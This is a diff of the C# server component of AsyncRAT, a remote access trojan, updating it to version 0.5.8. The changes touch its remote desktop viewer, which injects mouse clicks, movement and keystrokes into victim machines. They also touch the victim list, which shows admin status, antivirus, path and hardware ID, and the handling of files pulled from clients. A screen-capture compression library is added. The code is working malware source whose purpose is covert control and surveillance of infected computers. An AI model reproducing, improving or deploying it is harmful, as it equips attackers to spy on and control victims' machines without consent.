private void btnSlide_Click(object sender, EventArgs e)
{
if (panel1.Visible == false)
{
panel1.Visible = true;
button2.Top = panel1.Bottom + 5;
button2.BackgroundImage = Properties.Resources.arrow_up;
btnSlide.Top = panel1.Bottom + 5;
btnSlide.BackgroundImage = Properties.Resources.arrow_up;
}
else
{
panel1.Visible = false;
button2.Top = pictureBox1.Top + 5;
button2.BackgroundImage = Properties.Resources.arrow_down;
btnSlide.Top = pictureBox1.Top + 5;
btnSlide.BackgroundImage = Properties.Resources.arrow_down;
}
}
@ -71,17 +69,17 @@ namespace Server.Forms
{
try
{
button2.Top = panel1.Bottom + 5;
button2.Left = pictureBox1.Width / 2;
button1.Tag = (object)"stop";
button2.PerformClick();
btnSlide.Top = panel1.Bottom + 5;
btnSlide.Left = pictureBox1.Width / 2;
btnStart.Tag = (object)"stop";
btnSlide.PerformClick();
}
catch { }
}
private void Button1_Click(object sender, EventArgs e)
private void btnStart_Click(object sender, EventArgs e)
{
if (button1.Tag == (object)"play")
if (btnStart.Tag == (object)"play")
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
@ -94,12 +92,12 @@ namespace Server.Forms
numericUpDown2.Enabled = false;
btnSave.Enabled = true;
btnMouse.Enabled = true;
button1.Tag = (object)"stop";
button1.BackgroundImage = Properties.Resources.stop__1_;
btnStart.Tag = (object)"stop";
btnStart.BackgroundImage = Properties.Resources.stop__1_;
}
else
{
button1.Tag = (object)"play";
btnStart.Tag = (object)"play";
try
{
MsgPack msgpack = new MsgPack();
@ -112,18 +110,18 @@ namespace Server.Forms
numericUpDown2.Enabled = true;
btnSave.Enabled = false;
btnMouse.Enabled = false;
button1.BackgroundImage = Properties.Resources.play_button;
btnStart.BackgroundImage = Properties.Resources.play_button;
}
}
private void FormRemoteDesktop_ResizeEnd(object sender, EventArgs e)
{
button2.Left = pictureBox1.Width / 2;
btnSlide.Left = pictureBox1.Width / 2;
}
private void BtnSave_Click(object sender, EventArgs e)
{
if (button1.Tag == (object)"stop")
if (btnStart.Tag == (object)"stop")
{
if (timerSave.Enabled)
{
@ -180,9 +178,8 @@ namespace Server.Forms
{
try
{
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse)
if (btnStart.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse)
{
Point p = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height);
int button = 0;
if (e.Button == MouseButtons.Left)
button = 2;
@ -192,8 +189,8 @@ namespace Server.Forms
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "mouseClick";
msgpack.ForcePathObject("X").AsInteger = p.X;
msgpack.ForcePathObject("Y").AsInteger = p.Y;
msgpack.ForcePathObject("X").AsInteger = e.X * decoder.Resolution.Width / pictureBox1.Width;
msgpack.ForcePathObject("Y").AsInteger = e.Y * decoder.Resolution.Height / pictureBox1.Height;
msgpack.ForcePathObject("Button").AsInteger = button;
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}
@ -205,9 +202,8 @@ namespace Server.Forms
{
try
{
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse)
if (btnStart.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse)
{
Point p = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height);
int button = 0;
if (e.Button == MouseButtons.Left)
button = 4;
@ -217,8 +213,8 @@ namespace Server.Forms
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "mouseClick";
msgpack.ForcePathObject("X").AsInteger = p.X;
msgpack.ForcePathObject("Y").AsInteger = p.Y;
msgpack.ForcePathObject("X").AsInteger = e.X * decoder.Resolution.Width / pictureBox1.Width;
msgpack.ForcePathObject("Y").AsInteger = e.Y * decoder.Resolution.Height / pictureBox1.Height;
msgpack.ForcePathObject("Button").AsInteger = button;
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}
@ -226,23 +222,22 @@ namespace Server.Forms
catch { }
}
//private void PictureBox1_MouseMove(object sender, MouseEventArgs e)
//{
// try
// {
// if (pictureBox1.Image != null && this.ContainsFocus && isMouse)
// {
// Point p = new Point(e.X * (rdSize.Width / pictureBox1.Width), e.Y * (rdSize.Height / pictureBox1.Height));
// MsgPack msgpack = new MsgPack();
// msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
// msgpack.ForcePathObject("Option").AsString = "mouseMove";
// msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X);
// msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y);
// ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
// }
// }
// catch { }
//}
private void pictureBox1_MouseMove(object sender, MouseEventArgs e)
{
try
{
if (pictureBox1.Image != null && this.ContainsFocus && isMouse)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "mouseMove";
msgpack.ForcePathObject("X").AsInteger = e.X * decoder.Resolution.Width / pictureBox1.Width;
msgpack.ForcePathObject("Y").AsInteger = e.Y * decoder.Resolution.Height / pictureBox1.Height;
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}
}
catch { }
}
private void Button3_Click(object sender, EventArgs e)
{
@ -289,7 +284,7 @@ namespace Server.Forms
private void FormRemoteDesktop_KeyDown(object sender, KeyEventArgs e)
{
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isKeyboard)
if (btnStart.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isKeyboard)
{
if (!IsLockKey(e.KeyCode))
e.Handled = true;
@ -310,7 +305,7 @@ namespace Server.Forms
private void FormRemoteDesktop_KeyUp(object sender, KeyEventArgs e)
{
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isKeyboard)
if (btnStart.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isKeyboard)
{
if (!IsLockKey(e.KeyCode))
e.Handled = true;
@ -332,5 +327,7 @@ namespace Server.Forms
|| ((key & Keys.NumLock) == Keys.NumLock)
|| ((key & Keys.Scroll) == Keys.Scroll);
}
}
}

View File

@ -170,14 +170,15 @@ namespace Server.Handle_Packet
{
if (!Directory.Exists(SD.DirPath))
return;
string fileName = unpack_msgpack.ForcePathObject("Name").AsString;
string fileName = Path.GetFileName(unpack_msgpack.ForcePathObject("Name").AsString);
string dirPath = SD.DirPath;
if (File.Exists(dirPath + "\\" + fileName))
string fileFullPath = Path.Combine(dirPath, fileName);
if (File.Exists(fileFullPath))
{
fileName = DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + "_" + fileName;
await Task.Delay(100);
fileFullPath = Path.Combine(dirPath, fileName);
}
await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), dirPath + "\\" + fileName));
await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), fileFullPath));
SD.Close();
}
}

View File

@ -79,7 +79,14 @@ namespace Server.Handle_Packet
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Antivirus").AsString);
client.LV.SubItems.Add("0000 MS");
client.LV.SubItems.Add("...");
try
{
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString);
}
catch
{
client.LV.SubItems.Add("...");
}
client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine;
client.LV.ToolTipText += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString;
client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;

View File

@ -4,6 +4,7 @@ using System.Diagnostics;
using System.Windows.Forms;
using System.Threading;
using System.Drawing;
using Microsoft.VisualBasic;
namespace Server.Handle_Packet
{
@ -32,12 +33,13 @@ namespace Server.Handle_Packet
lock (Settings.LockListviewClients)
if (client.LV != null)
{
client.LV.SubItems[Program.form1.lv_ping.Index].Text = unpack_msgpack.ForcePathObject("Message").AsInteger.ToString() + " MS";
if (unpack_msgpack.ForcePathObject("Message").AsInteger > 600)
int interval = (int)unpack_msgpack.ForcePathObject("Message").AsInteger;
client.LV.SubItems[Program.form1.lv_ping.Index].Text = interval + " MS";
if (interval > 400)
{
client.LV.SubItems[Program.form1.lv_ping.Index].ForeColor = Color.Red;
}
else if (unpack_msgpack.ForcePathObject("Message").AsInteger > 300)
else if (interval > 200)
{
client.LV.SubItems[Program.form1.lv_ping.Index].ForeColor = Color.Orange;
}

View File

@ -27,16 +27,17 @@ namespace Server.Handle_Packet
RD.labelWait.Visible = false;
RD.timer1.Start();
byte[] RdpStream0 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
Bitmap decoded0 = RD.decoder.DecodeData(new MemoryStream(RdpStream0));
RD.rdSize = decoded0.Size;
int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger());
RD.numericUpDown2.Maximum = Screens - 1;
}
byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
lock (RD.syncPicbox)
{
using (MemoryStream stream = new MemoryStream(RdpStream))
{
RD.GetImage = RD.decoder.DecodeData(stream);
}
RD.pictureBox1.Image = RD.GetImage;
RD.FPS++;

View File

@ -31,5 +31,5 @@ using System.Runtime.InteropServices;
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("0.5.7.0")]
[assembly: AssemblyFileVersion("0.5.7.0")]
[assembly: AssemblyVersion("0.5.8.0")]
[assembly: AssemblyFileVersion("0.5.8.0")]

View File

@ -12,7 +12,7 @@ namespace Server.Properties {
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.5.0.0")]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.10.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));

View File

@ -26,7 +26,7 @@
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
<Prefer32Bit>true</Prefer32Bit>
<Prefer32Bit>false</Prefer32Bit>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
@ -46,8 +46,8 @@
<ApplicationManifest>app.manifest</ApplicationManifest>
</PropertyGroup>
<ItemGroup>
<Reference Include="BouncyCastle.Crypto, Version=1.8.6.0, Culture=neutral, PublicKeyToken=0e99375e54769942">
<HintPath>..\packages\BouncyCastle.1.8.6.1\lib\BouncyCastle.Crypto.dll</HintPath>
<Reference Include="BouncyCastle.Crypto, Version=1.8.9.0, Culture=neutral, PublicKeyToken=0e99375e54769942">
<HintPath>..\packages\BouncyCastle.1.8.9\lib\BouncyCastle.Crypto.dll</HintPath>
</Reference>
<Reference Include="cGeoIp, Version=1.0.0.0, Culture=neutral, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
@ -56,8 +56,8 @@
<Reference Include="Costura, Version=4.1.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL">
<HintPath>..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll</HintPath>
</Reference>
<Reference Include="dnlib, Version=3.3.2.0, Culture=neutral, PublicKeyToken=50e96378b6e77999, processorArchitecture=MSIL">
<HintPath>..\packages\dnlib.3.3.2\lib\net45\dnlib.dll</HintPath>
<Reference Include="dnlib, Version=4.2.0.0, Culture=neutral, PublicKeyToken=50e96378b6e77999, processorArchitecture=MSIL">
<HintPath>..\packages\dnlib.4.2.0\lib\net45\dnlib.dll</HintPath>
</Reference>
<Reference Include="FastColoredTextBox, Version=2.16.24.0, Culture=neutral, PublicKeyToken=fb8aa12b994ef61b, processorArchitecture=MSIL">
<HintPath>..\packages\FCTB.2.16.24\lib\FastColoredTextBox.dll</HintPath>
@ -268,13 +268,9 @@
<Compile Include="Settings.cs" />
<Compile Include="Connection\Clients.cs" />
<Compile Include="Connection\Listener.cs" />
<Compile Include="StreamLibrary\Enums.cs" />
<Compile Include="StreamLibrary\IUnsafeCodec.cs" />
<Compile Include="StreamLibrary\IVideoCodec.cs" />
<Compile Include="StreamLibrary\src\JpgCompression.cs" />
<Compile Include="StreamLibrary\src\LzwCompression.cs" />
<Compile Include="StreamLibrary\src\NativeMethods.cs" />
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeStreamCodec.cs" />
<Compile Include="StreamLibrary\JpgCompression.cs" />
<Compile Include="StreamLibrary\NativeMethods.cs" />
<Compile Include="StreamLibrary\UnsafeStreamCodec.cs" />
<EmbeddedResource Include="Forms\FormAbout.resx">
<DependentUpon>FormAbout.cs</DependentUpon>
</EmbeddedResource>

View File

@ -19,7 +19,7 @@ namespace Server
public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12";
public static X509Certificate2 ServerCertificate;
public static readonly string Version = "AsyncRAT 0.5.7A";
public static readonly string Version = "AsyncRAT 0.5.8";
public static object LockListviewClients = new object();
public static object LockListviewLogs = new object();
public static object LockListviewThumb = new object();

View File

@ -0,0 +1,72 @@
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Server.StreamLibrary
{
public class JpgCompression : IDisposable
{
private readonly ImageCodecInfo _encoderInfo;
private readonly EncoderParameters _encoderParams;
public JpgCompression(long quality)
{
EncoderParameter parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, quality);
this._encoderInfo = GetEncoderInfo("image/jpeg");
this._encoderParams = new EncoderParameters(2);
this._encoderParams.Param[0] = parameter;
this._encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)EncoderValue.CompressionRle);
}
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
if (_encoderParams != null)
{
_encoderParams.Dispose();
}
}
}
public byte[] Compress(Bitmap bmp)
{
using (MemoryStream stream = new MemoryStream())
{
bmp.Save(stream, _encoderInfo, _encoderParams);
return stream.ToArray();
}
}
public void Compress(Bitmap bmp, ref Stream targetStream)
{
bmp.Save(targetStream, _encoderInfo, _encoderParams);
}
private ImageCodecInfo GetEncoderInfo(string mimeType)
{
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
int num2 = imageEncoders.Length - 1;
for (int i = 0; i <= num2; i++)
{
if (imageEncoders[i].MimeType == mimeType)
{
return imageEncoders[i];
}
}
return null;
}
}
}

View File

@ -0,0 +1,21 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
namespace Server.StreamLibrary
{
public static class NativeMethods
{
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int memcpy(IntPtr dst, IntPtr src, uint count);
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern unsafe int memcpy(void* dst, void* src, uint count);
}
}

View File

@ -0,0 +1,378 @@
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Server.StreamLibrary
{
public class UnsafeStreamCodec : IDisposable
{
internal Size Resolution { get; private set; }
internal Size CheckBlock { get; private set; }
internal int ImageQuality
{
get { return _imageQuality; }
private set
{
lock (_imageProcessLock)
{
_imageQuality = value;
if (_jpgCompression != null)
{
_jpgCompression.Dispose();
}
_jpgCompression = new JpgCompression(_imageQuality);
}
}
}
private int _imageQuality;
private byte[] _encodeBuffer;
private Bitmap _decodedBitmap;
private PixelFormat _encodedFormat;
private int _encodedWidth;
private int _encodedHeight;
private readonly object _imageProcessLock = new object();
private JpgCompression _jpgCompression;
/// <summary>
/// Initialize a new instance of UnsafeStreamCodec class.
/// </summary>
/// <param name="imageQuality">The quality to use between 0-100.</param>
/// <param name="monitor">The monitor used for the images.</param>
/// <param name="resolution">The resolution of the monitor.</param>
internal UnsafeStreamCodec(int imageQuality)
{
this.ImageQuality = imageQuality;
this.CheckBlock = new Size(50, 1);
}
public void Dispose()
{
Dispose(true);
// Tell the Garbage Collector to not waste time finalizing this object
// since we took care of it.
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
if (_decodedBitmap != null)
{
_decodedBitmap.Dispose();
}
if (_jpgCompression != null)
{
_jpgCompression.Dispose();
}
}
}
internal unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, PixelFormat format,
Stream outStream)
{
lock (_imageProcessLock)
{
byte* pScan0;
if (IntPtr.Size == 8)
{
// 64 bit process
pScan0 = (byte*)scan0.ToInt64();
}
else
{
// 32 bit process
pScan0 = (byte*)scan0.ToInt32();
}
if (!outStream.CanWrite)
{
throw new Exception("Must have access to Write in the Stream");
}
int stride = 0;
int rawLength = 0;
int pixelSize = 0;
switch (format)
{
case PixelFormat.Format24bppRgb:
case PixelFormat.Format32bppRgb:
pixelSize = 3;
break;
case PixelFormat.Format32bppArgb:
case PixelFormat.Format32bppPArgb:
pixelSize = 4;
break;
default:
throw new NotSupportedException(format.ToString());
}
stride = imageSize.Width * pixelSize;
rawLength = stride * imageSize.Height;
if (_encodeBuffer == null)
{
this._encodedFormat = format;
this._encodedWidth = imageSize.Width;
this._encodedHeight = imageSize.Height;
this._encodeBuffer = new byte[rawLength];
fixed (byte* ptr = _encodeBuffer)
{
byte[] temp = null;
using (Bitmap tmpBmp = new Bitmap(imageSize.Width, imageSize.Height, stride, format, scan0))
{
temp = _jpgCompression.Compress(tmpBmp);
}
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(temp, 0, temp.Length);
NativeMethods.memcpy(new IntPtr(ptr), scan0, (uint)rawLength);
}
return;
}
if (this._encodedFormat != format)
{
throw new Exception("PixelFormat is not equal to previous Bitmap");
}
else if (this._encodedWidth != imageSize.Width || this._encodedHeight != imageSize.Height)
{
throw new Exception("Bitmap width/height are not equal to previous bitmap");
}
long oldPos = outStream.Position;
outStream.Write(new byte[4], 0, 4);
long totalDataLength = 0;
List<Rectangle> blocks = new List<Rectangle>();
Size s = new Size(scanArea.Width, CheckBlock.Height);
Size lastSize = new Size(scanArea.Width % CheckBlock.Width, scanArea.Height % CheckBlock.Height);
int lasty = scanArea.Height - lastSize.Height;
int lastx = scanArea.Width - lastSize.Width;
Rectangle cBlock = new Rectangle();
List<Rectangle> finalUpdates = new List<Rectangle>();
s = new Size(scanArea.Width, s.Height);
fixed (byte* encBuffer = _encodeBuffer)
{
var index = 0;
for (int y = scanArea.Y; y != scanArea.Height; y += s.Height)
{
if (y == lasty)
{
s = new Size(scanArea.Width, lastSize.Height);
}
cBlock = new Rectangle(scanArea.X, y, scanArea.Width, s.Height);
int offset = (y * stride) + (scanArea.X * pixelSize);
if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)stride) != 0)
{
index = blocks.Count - 1;
if (blocks.Count != 0 && (blocks[index].Y + blocks[index].Height) == cBlock.Y)
{
cBlock = new Rectangle(blocks[index].X, blocks[index].Y, blocks[index].Width,
blocks[index].Height + cBlock.Height);
blocks[index] = cBlock;
}
else
{
blocks.Add(cBlock);
}
}
}
for (int i = 0; i < blocks.Count; i++)
{
s = new Size(CheckBlock.Width, blocks[i].Height);
for (int x = scanArea.X; x != scanArea.Width; x += s.Width)
{
if (x == lastx)
{
s = new Size(lastSize.Width, blocks[i].Height);
}
cBlock = new Rectangle(x, blocks[i].Y, s.Width, blocks[i].Height);
bool foundChanges = false;
uint blockStride = (uint)(pixelSize * cBlock.Width);
for (int j = 0; j < cBlock.Height; j++)
{
int blockOffset = (stride * (cBlock.Y + j)) + (pixelSize * cBlock.X);
if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, blockStride) != 0)
{
foundChanges = true;
}
NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, blockStride);
//copy-changes
}
if (foundChanges)
{
index = finalUpdates.Count - 1;
if (finalUpdates.Count > 0 &&
(finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
{
Rectangle rect = finalUpdates[index];
int newWidth = cBlock.Width + rect.Width;
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
finalUpdates[index] = cBlock;
}
else
{
finalUpdates.Add(cBlock);
}
}
}
}
}
for (int i = 0; i < finalUpdates.Count; i++)
{
Rectangle rect = finalUpdates[i];
int blockStride = pixelSize * rect.Width;
Bitmap tmpBmp = null;
BitmapData tmpData = null;
long length;
try
{
tmpBmp = new Bitmap(rect.Width, rect.Height, format);
tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height),
ImageLockMode.ReadWrite, tmpBmp.PixelFormat);
for (int j = 0, offset = 0; j < rect.Height; j++)
{
int blockOffset = (stride * (rect.Y + j)) + (pixelSize * rect.X);
NativeMethods.memcpy((byte*)tmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride);
//copy-changes
offset += blockStride;
}
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
outStream.Write(new byte[4], 0, 4);
length = outStream.Length;
long old = outStream.Position;
_jpgCompression.Compress(tmpBmp, ref outStream);
length = outStream.Position - length;
outStream.Position = old - 4;
outStream.Write(BitConverter.GetBytes(length), 0, 4);
outStream.Position += length;
}
finally
{
tmpBmp.UnlockBits(tmpData);
tmpBmp.Dispose();
}
totalDataLength += length + (4 * 5);
}
outStream.Position = oldPos;
outStream.Write(BitConverter.GetBytes(totalDataLength), 0, 4);
}
}
internal unsafe Bitmap DecodeData(IntPtr codecBuffer, uint length)
{
if (length < 4)
{
return _decodedBitmap;
}
int dataSize = *(int*)(codecBuffer);
if (_decodedBitmap == null)
{
byte[] temp = new byte[dataSize];
fixed (byte* tempPtr = temp)
{
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(codecBuffer.ToInt32() + 4), (uint)dataSize);
}
this._decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return _decodedBitmap;
}
else
{
return _decodedBitmap;
}
}
internal Bitmap DecodeData(Stream inStream)
{
byte[] temp = new byte[4];
inStream.Read(temp, 0, 4);
int dataSize = BitConverter.ToInt32(temp, 0);
if (_decodedBitmap == null)
{
temp = new byte[dataSize];
inStream.Read(temp, 0, temp.Length);
this._decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return _decodedBitmap;
}
using (Graphics g = Graphics.FromImage(_decodedBitmap))
{
while (dataSize > 0)
{
byte[] tempData = new byte[4 * 5];
inStream.Read(tempData, 0, tempData.Length);
Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
int updateLen = BitConverter.ToInt32(tempData, 16);
byte[] buffer = new byte[updateLen];
inStream.Read(buffer, 0, buffer.Length);
using (MemoryStream m = new MemoryStream(buffer))
{
using (Bitmap tmp = (Bitmap)Image.FromStream(m))
{
g.DrawImage(tmp, rect.Location);
}
}
dataSize -= updateLen + (4 * 5);
}
}
Resolution = _decodedBitmap.Size;
return _decodedBitmap;
}
}
}

View File

@ -1,8 +1,8 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="BouncyCastle" version="1.8.6.1" targetFramework="net46" />
<package id="BouncyCastle" version="1.8.9" targetFramework="net46" />
<package id="Costura.Fody" version="4.1.0" targetFramework="net46" />
<package id="dnlib" version="3.3.2" targetFramework="net46" />
<package id="dnlib" version="4.2.0" targetFramework="net46" />
<package id="FCTB" version="2.16.24" targetFramework="net46" />
<package id="Fody" version="6.0.0" targetFramework="net46" developmentDependency="true" />
<package id="Vestris.ResourceLib" version="2.1.0" targetFramework="net46" />